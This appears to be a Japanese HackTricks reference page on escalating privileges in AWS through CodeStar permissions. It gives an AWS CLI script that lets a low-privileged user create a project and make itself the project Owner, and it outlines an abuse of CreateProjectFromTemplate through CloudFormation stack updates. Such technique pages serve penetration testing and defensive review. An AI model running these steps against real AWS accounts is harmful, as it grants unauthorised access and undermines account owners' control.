AWS - Codestar Privesc

ゼロからヒーローまでAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert)

HackTricksをサポートする他の方法:

Codestar

Codestarに関する詳細情報は以下で見つけることができます:

pagecodestar:CreateProject, codestar:AssociateTeamMember

iam:PassRole, codestar:CreateProject

これらの権限を使用すると、cloudformationテンプレートを介してcodestar IAMロールを悪用して任意のアクションを実行できます。次のページをチェックしてください:

pageiam:PassRole, codestar:CreateProject

codestar:CreateProject, codestar:AssociateTeamMember

このテクニックは、codestar:CreateProjectを使用してcodestarプロジェクトを作成し、codestar:AssociateTeamMemberを使用してIAMユーザーを新しいCodeStar プロジェクト所有者にし、それにより新しいポリシーといくつかの追加権限が付与されます。

PROJECT_NAME="supercodestar"

aws --profile "$NON_PRIV_PROFILE_USER" codestar create-project \
--name $PROJECT_NAME \
--id $PROJECT_NAME

echo "Waiting 1min to start the project"
sleep 60

USER_ARN=$(aws --profile "$NON_PRIV_PROFILE_USER" opsworks describe-my-user-profile | jq .UserProfile.IamUserArn | tr -d '"')

aws --profile "$NON_PRIV_PROFILE_USER" codestar associate-team-member \
--project-id $PROJECT_NAME \
--user-arn "$USER_ARN" \
--project-role "Owner" \
--remote-access-allowed

もしすでにプロジェクトのメンバーであれば、codestar:UpdateTeamMember権限を使用して、codestar:AssociateTeamMemberの代わりに所有者の役割を更新できます。

潜在的な影響: codestar ポリシーへの昇格。そのポリシーの例は以下で見つけることができます:

pagecodestar:CreateProject, codestar:AssociateTeamMember

codestar:CreateProjectFromTemplate

  1. 新しいプロジェクトを作成:

  • codestar:CreateProjectFromTemplate アクションを使用して新しいプロジェクトの作成を開始します。

  • 作成が成功すると、cloudformation:UpdateStack へのアクセスが自動的に許可されます。

  • このアクセスは、CodeStarWorker-<generic project name>-CloudFormation IAM ロールに関連付けられたスタックを特定します。

  1. 対象スタックを更新:

  • 許可された CloudFormation 権限を使用して、指定されたスタックを更新します。

  • 通常、スタックの名前は次のいずれかのパターンに従います:

    • awscodestar-<generic project name>-infrastructure

    • awscodestar-<generic project name>-lambda

    • 正確な名前は選択したテンプレートに依存します(例のエクスプロイトスクリプトを参照)。

  1. アクセスと権限:

  • 更新後、スタックにリンクされたCloudFormation IAM ロールに割り当てられた機能を取得します。

  • 注: これは基本的に完全な管理者権限を提供するものではありません。さらに権限を昇格させるためには、環境内の追加の誤構成リソースが必要かもしれません。

詳細については、元のリサーチを参照してください: https://rhinosecuritylabs.com/aws/escalating-aws-iam-privileges-undocumented-codestar-api/。 エクスプロイトはこちらで見つけることができます: https://github.com/RhinoSecurityLabs/Cloud-Security-Research/blob/master/AWS/codestar_createprojectfromtemplate_privesc/CodeStarPrivEsc.py

潜在的な影響: cloudformation IAM ロールへの昇格。

最終更新